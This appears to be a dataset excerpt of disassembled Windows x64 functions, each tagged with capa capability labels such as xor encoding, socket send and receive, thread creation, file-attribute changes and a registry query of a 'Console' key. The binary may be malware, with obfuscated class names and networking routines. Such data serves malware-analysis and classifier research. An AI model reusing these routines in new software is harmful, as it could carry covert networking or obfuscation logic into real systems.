joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e7e24
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
cmp byte [0x140159840], 0
mov rbp, r9
mov r14, r8
mov r15, rdx
mov rsi, rcx
je 0x1400e7eb3
cmp byte [rcx + 4], 0
je 0x1400e7e70
mov edx, ebp
lea r8, [rcx + 8]
imul edx, r14d
mov rcx, r15
call fcn.1400b5658
jmp 0x1400e7eb3
mov rdi, r14
mov r12, r15
imul rdi, rbp
test rdi, rdi
je 0x1400e7eb3
mov ebx, dword [rsi + 0x1f0]
mov rcx, rsi
movsx edx, byte [r12]
and ebx, 0xfffd
or ebx, 2
call fcn.1400e7da8
mov eax, ebx
xor eax, 1
imul eax, ebx
shr eax, 8
xor byte [r12], al
inc r12
sub rdi, 1
jne 0x1400e7e7f
and dword [rsp + 0x20], 0
mov r9, rbp
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.1400e6bdc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret

Function at 0x1400efe18
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400efe50
test al, 0x10
jne 0x1400efe4c
and eax, 0xffffffdf
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400efe50
mov al, 1
jmp 0x1400efe66
mov rdx, qword [rdi + 0x64b7d8]
mov r8, rbx
mov ecx, 0x11
call fcn.140004010
xor al, al
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140102de4
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x140102c84
call fcn.1400fb8c0
mov dword [rax], 0x16
call fcn.1400ff784
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140102c6c
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x140102c6c
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x140102cb6
lock or dword [rax + 0x14], 0x10
jmp 0x140102c6c
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x140102cd3
mov rcx, qword [rbp + 0x10]
call fcn.140107650
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1400fce8c
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.1400fa6e4
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x140102d2a
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x140102c6c
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x140102d96
mov rcx, qword [rbp + 0x10]
call fcn.1400fce8c
cmp eax, 0xffffffff
je 0x140102d7d
mov rcx, qword [rbp + 0x10]
call fcn.1400fce8c
cmp eax, 0xfffffffe
je 0x140102d7d
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1400fce8c
movsxd rdi, eax
lea rsi, [0x1401df5e0]
mov rcx, rbx
sar rdi, 6
call fcn.1400fce8c
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x140102d84
lea rax, [0x1401416a0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140102d96
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x140102dcc
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140102dc8
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140102dc8
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x140102c6f
jmp 0x140102c3c
Function at 0x1400059ec
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x1e8
mov qword [rsp + 0x1d0], 0xfffffffffffffffe
mov rax, qword [0x1402b7130]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x1f0]
call fcn.140006b70
mov rax, qword [rsp + 0x1f0]
lea rcx, vtable.DeHJfsvDa.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x1f0]
add rax, 0x40
mov rcx, rax
call fcn.140001000
nop
mov rax, qword [rsp + 0x1f0]
add rax, 0x60
mov rcx, rax
call fcn.140001000
nop
mov rax, qword [rsp + 0x1f0]
add rax, 0x80
mov rcx, rax
call fcn.140001000
nop
lea rdx, [0x1401fd030]
lea rcx, [0x1401fd048]
call fcn.140006bd4
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, qword [rsp + 0x1f0]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x1f0]
add rax, 0x20
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x1f0]
mov qword [rax + 0xb0], 0xffffffffffffffff
mov rax, qword [rsp + 0x1f0]
mov qword [rax + 0xa0], 0
mov rax, qword [rsp + 0x1f0]
mov qword [rax + 0xa8], 0
mov rax, qword [rsp + 0x1f0]
mov dword [rax + 0x1c], 0
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.1401c2d70
add rsp, 0x1e8
ret

Function at 0x140005b30
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rdx, str.DeHJfsvDa::Disconnect
lea rcx, [0x1401fd04c]
call fcn.140006bd4
mov rax, qword [rsp + 0x50]
cmp dword [rax + 0x20], 0
jne 0x140005b5c
jmp 0x140005be7
mov eax, 1
mov word [rsp + 0x30], ax
xor eax, eax
mov word [rsp + 0x32], ax
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov r8d, 0x80
mov edx, 0xffff
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xb0]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xb0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov rax, qword [rsp + 0x50]
add rax, 0x20
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xb0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [rsp + 0x50]
mov qword [rax + 0xb0], 0xffffffffffffffff
add rsp, 0x48
ret
Function at 0x1400065c8
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x30], recv
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x34], eax
jmp 0x140006624
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x34], eax
jl 0x1400066c3
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
jmp 0x14000664e
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x38], eax
jge 0x140006686
xor r9d, r9d
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xb0]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jle 0x140006684
jmp 0x140006686
jmp 0x140006644
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x38], eax
jne 0x14000669a
mov eax, 0xffffffff
jmp 0x14000674e
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
jmp 0x140006614
cmp dword [rsp + 0x34], 0
jle 0x140006737
mov dword [rsp + 0x3c], 0
jmp 0x1400066de
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x3c], eax
jge 0x140006716
xor r9d, r9d
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xb0]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jle 0x140006714
jmp 0x140006716
jmp 0x1400066d4
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x3c], eax
jne 0x140006727
mov eax, 0xffffffff
jmp 0x14000674e
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x60]
cmp dword [rsp + 0x20], eax
jne 0x140006749
mov eax, dword [rsp + 0x20]
jmp 0x14000674e
mov eax, 0xffffffff
add rsp, 0x48
ret
Function at 0x140006bec
Capabilities:
Create thread
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], r9
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x58], 0x598
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x21c], 0
jne 0x140006c2c
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x58]
mov dword [rax + 0x23c], ecx
jmp 0x140006c5a
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x58]
cmp dword [rax + 0x21c], ecx
jbe 0x140006c44
xor eax, eax
jmp 0x140006e48
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x21c]
mov dword [rax + 0x23c], ecx
mov rax, qword [rsp + 0x70]
mov dword [rax + 0x8c], 0
mov rcx, qword [rsp + 0x70]
call fcn.140006e50
mov rax, qword [rsp + 0x70]
add rax, 0x48
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 5
mov edx, 1
mov rcx, rax
call fcn.140009ec4
mov dword [rsp + 0x54], 0
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140009e60
lea rcx, [0x1402b95f8]
call fcn.1400078f0
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 0x68], rax
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
jne 0x140006ce7
lea rcx, [0x1402b95f8]
call fcn.1400078f0
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 0x68], rax
mov dword [rsp + 0x50], 0x40000
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov r8d, 0x1001
mov edx, 0xffff
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x50], 0x40000
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov r8d, 0x1002
mov edx, 0xffff
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_setsockopt]
movzx r8d, word [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.140006f7c
test eax, eax
je 0x140006ddc
mov rax, qword [rsp + 0x70]
add rax, 0x80
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
lea r8, [0x1400072a8]
xor edx, edx
xor ecx, ecx
call fcn.1401c302c
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 0x78], rax
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x78], 0
je 0x140006dbe
mov dword [rsp + 0x54], 1
mov rax, qword [rsp + 0x70]
add rax, 0x40
mov rcx, rax
call fcn.14000a068
jmp 0x140006dda
mov r9d, 0x65f
lea r8, [0x1401fd198]
mov edx, 8
mov rcx, qword [rsp + 0x70]
call fcn.140008290
jmp 0x140006dfb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, eax
lea r8, str.FEWkMZwZu::Start
mov edx, VariantTimeToDosDateTime
mov rcx, qword [rsp + 0x70]
call fcn.140008290
cmp dword [rsp + 0x54], 0
jne 0x140006e44
mov rax, qword [rsp + 0x70]
add rax, 0x48
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 5
xor edx, edx
mov rcx, rax
call fcn.140009ec4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x5c], eax
mov rcx, qword [rsp + 0x70]
call fcn.140007e98
mov ecx, dword [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rsp + 0x54]
add rsp, 0x68
ret
Function at 0x14000759c
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400075e5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x2733
jne 0x1400075e5
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140007ab0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
xor eax, eax
cmp eax, 1
je 0x140007c3a
xor r9d, r9d
mov r8d, 0x598
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0xa0]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jle 0x140007bce
cmp dword [rsp + 0x30], 0x10
jne 0x140007b4e
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, [0x1401fd188]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0xa0]
call fcn.1401c3200
test eax, eax
jne 0x140007b4e
mov rax, qword [rsp + 0x50]
add rax, 0x48
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 5
mov edx, 1
mov rcx, rax
call fcn.140009ec4
xor eax, eax
jmp 0x140007c3f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x50]
add rax, 0x268
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x244]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x50]
mov r9, qword [rcx + 0x250]
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rcx + 0xa0]
mov rcx, rax
call fcn.140009178
cmp eax, 2
jne 0x140007bcc
mov ecx, 0x4c7
call fcn.140009e34
mov rcx, qword [rsp + 0x50]
add rcx, 0x48
mov dword [rsp + 0x20], 1
mov r9d, eax
mov r8d, 4
mov edx, 1
call fcn.140009ec4
xor eax, eax
jmp 0x140007c3f
jmp 0x140007c35
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140007c35
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x2733
jne 0x140007bed
jmp 0x140007c3a
cmp dword [rsp + 0x34], 0x2744
je 0x140007c01
cmp dword [rsp + 0x34], 0x2746
jne 0x140007c08
jmp 0x140007ab9
mov rax, qword [rsp + 0x50]
add rax, 0x48
mov dword [rsp + 0x20], 1
mov r9d, dword [rsp + 0x34]
mov r8d, 4
mov edx, 1
mov rcx, rax
call fcn.140009ec4
xor eax, eax
jmp 0x140007c3f
jmp 0x140007ab9
mov eax, 1
add rsp, 0x48
ret
Function at 0x140007c44
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x68], 0xfffffffffffffffe
xor eax, eax
cmp eax, 1
je 0x140007e19
mov rcx, qword [rsp + 0x90]
call fcn.140007e28
mov rcx, qword [rsp + 0x90]
add rcx, 0xb8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.140009258
nop
lea rcx, [rsp + 0x30]
call fcn.140009218
movzx eax, al
test eax, eax
je 0x140007dfe
lea rcx, [rsp + 0x30]
call fcn.140009248
mov rcx, rax
call fcn.140001c18
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x30]
call fcn.140009248
mov rcx, rax
call fcn.140009e24
xor r9d, r9d
mov ecx, dword [rsp + 0x70]
mov r8d, ecx
mov rdx, rax
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jle 0x140007d42
mov rax, qword [rsp + 0x90]
add rax, 0x1b8
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140001dd4
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x218]
sub eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x90]
mov dword [rcx + 0x218], eax
lea rcx, [rsp + 0x48]
call fcn.140001e24
jmp 0x140007dfc
cmp dword [rsp + 0x40], 0xffffffff
jne 0x140007dfc
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x2733
jne 0x140007db8
mov rax, qword [rsp + 0x90]
add rax, 0x1b8
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140001dd4
nop
lea rcx, [rsp + 0x30]
call fcn.1400091ec
mov rcx, qword [rsp + 0x90]
add rcx, 0x1e0
mov rdx, rax
call fcn.140008ec0
nop
lea rcx, [rsp + 0x58]
call fcn.140001e24
nop
lea rcx, [rsp + 0x30]
call fcn.140009288
jmp 0x140007e19
mov rax, qword [rsp + 0x90]
add rax, 0x48
mov dword [rsp + 0x20], 1
mov r9d, dword [rsp + 0x50]
mov r8d, 3
mov edx, 1
mov rcx, rax
call fcn.140009ec4
mov dword [rsp + 0x60], 0
lea rcx, [rsp + 0x30]
call fcn.140009288
mov eax, dword [rsp + 0x60]
jmp 0x140007e1e
jmp 0x140007e0a
lea rcx, [rsp + 0x30]
call fcn.140009288
jmp 0x140007e19
lea rcx, [rsp + 0x30]
call fcn.140009288
jmp 0x140007c59
mov eax, 1
add rsp, 0x88
ret

Function at 0x14000814c
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call fcn.14000a0e0
test eax, eax
jne 0x140008165
jmp 0x14000819b
mov rax, qword [rsp + 0x30]
cmp dword [rax + 0x54], 0
je 0x14000818f
xor r9d, r9d
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, [0x1401fd188]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0x58]
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.14000a104
add rsp, 0x28
ret
Function at 0x1400085f0
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rcx, [0x1401fd1f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x30], rax
lea rdx, [0x1401fd218]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rdx, str.FEWkMZwZu::Connect
lea rcx, [0x1401fd214]
call fcn.140006bd4
call qword [sym.imp.WINMM.dll_timeGetTime]
mov rcx, qword [rsp + 0x80]
mov dword [rcx + 0x1c], eax
mov rax, qword [rsp + 0x80]
add rax, 0x20
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x80]
add rax, 0x30
mov r8d, 0xa
xor edx, edx
mov rcx, rax
call fcn.1401c2860
mov rax, qword [rsp + 0x80]
add rax, 0x1c
mov rcx, qword [rsp + 0x80]
add rcx, 0x30
mov r8d, 8
mov rdx, rax
call fcn.1401c1c40
mov rax, qword [rsp + 0x80]
mov byte [rax + 0x38], 0xca
mov rax, qword [rsp + 0x80]
mov byte [rax + 0x39], 1
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x8c]
cmp eax, 3
je 0x1400086e4
mov rcx, qword [rsp + 0x80]
call fcn.140007e98
mov word [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.140006bec
mov dword [rsp + 0x44], eax
mov edx, 0x1770
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
je 0x140008746
cmp dword [rsp + 0x64], 0x102
je 0x1400087a1
cmp dword [rsp + 0x64], 0xffffffff
je 0x1400087b2
jmp 0x1400087c3
mov rax, qword [rsp + 0x80]
add rax, 0x20
mov ecx, 1
xchg dword [rax], ecx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x80]
lea r8, [0x1400087d0]
xor edx, edx
xor ecx, ecx
call fcn.1401c302c
mov rcx, qword [rsp + 0x80]
mov qword [rcx + 0x360], rax
mov al, 1
jmp 0x1400087c9
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1400087c9
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1400087c9
xor al, al
jmp 0x1400087c9
add rsp, 0x78
ret
Function at 0x14000a450
Capabilities:
Initialize winsock library

Disassembly:
mov byte [rsp + 0x20], r9b
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x40
lea rbp, [rsp + 0x20]
mov rax, qword [0x1402b7130]
xor rax, rbp
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14000a4a1
mov eax, dword [rsp]
mov eax, OleTranslateColor
sub rsp, rax
lea rax, [rsp + 0x20]
mov ecx, dword [rax]
mov qword [rbp], rax
movzx eax, byte [rbp + 0x48]
and rax, 0xff
movzx eax, al
movzx ecx, byte [rbp + 0x40]
and rcx, 0xff
movzx ecx, cl
shl ecx, 8
or eax, ecx
mov rdx, qword [rbp]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rbp + 0x30]
mov dword [rcx], eax
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x10]
xor rcx, rbp
call fcn.1401c2d70
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140010560
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x40]
lea r8, [0x140010334]
xor edx, edx
xor ecx, ecx
call fcn.1401c302c
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x30], rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x40]
call fcn.140005648
add rsp, 0x38
ret
Function at 0x140011664
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x44], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400116e5
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, [0x140201928]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rsp + 0x44], 0xa
jbe 0x140011876
mov r8d, 0x7d0
xor edx, edx
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1401c2860
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, str.IpDate
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rax, qword [rsp + 0x60]
add rax, 0x1e
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201948]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x21c
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201950]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x258
mov r9, rax
xor r8d, r8d
lea rdx, [0x140201958]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x25c
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201960]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x45a
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201968]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x498
mov r9, rax
xor r8d, r8d
lea rdx, [0x140201970]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x49c
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201978]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x69a
xor r9d, r9d
mov r8, rax
lea rdx, [0x140201980]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
mov rax, qword [rsp + 0x60]
add rax, 0x6d8
mov r9, rax
xor r8d, r8d
lea rdx, [0x140201988]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.4_.4202:zb0.1:bb
call fcn.1400114bc
add rsp, 0x58
ret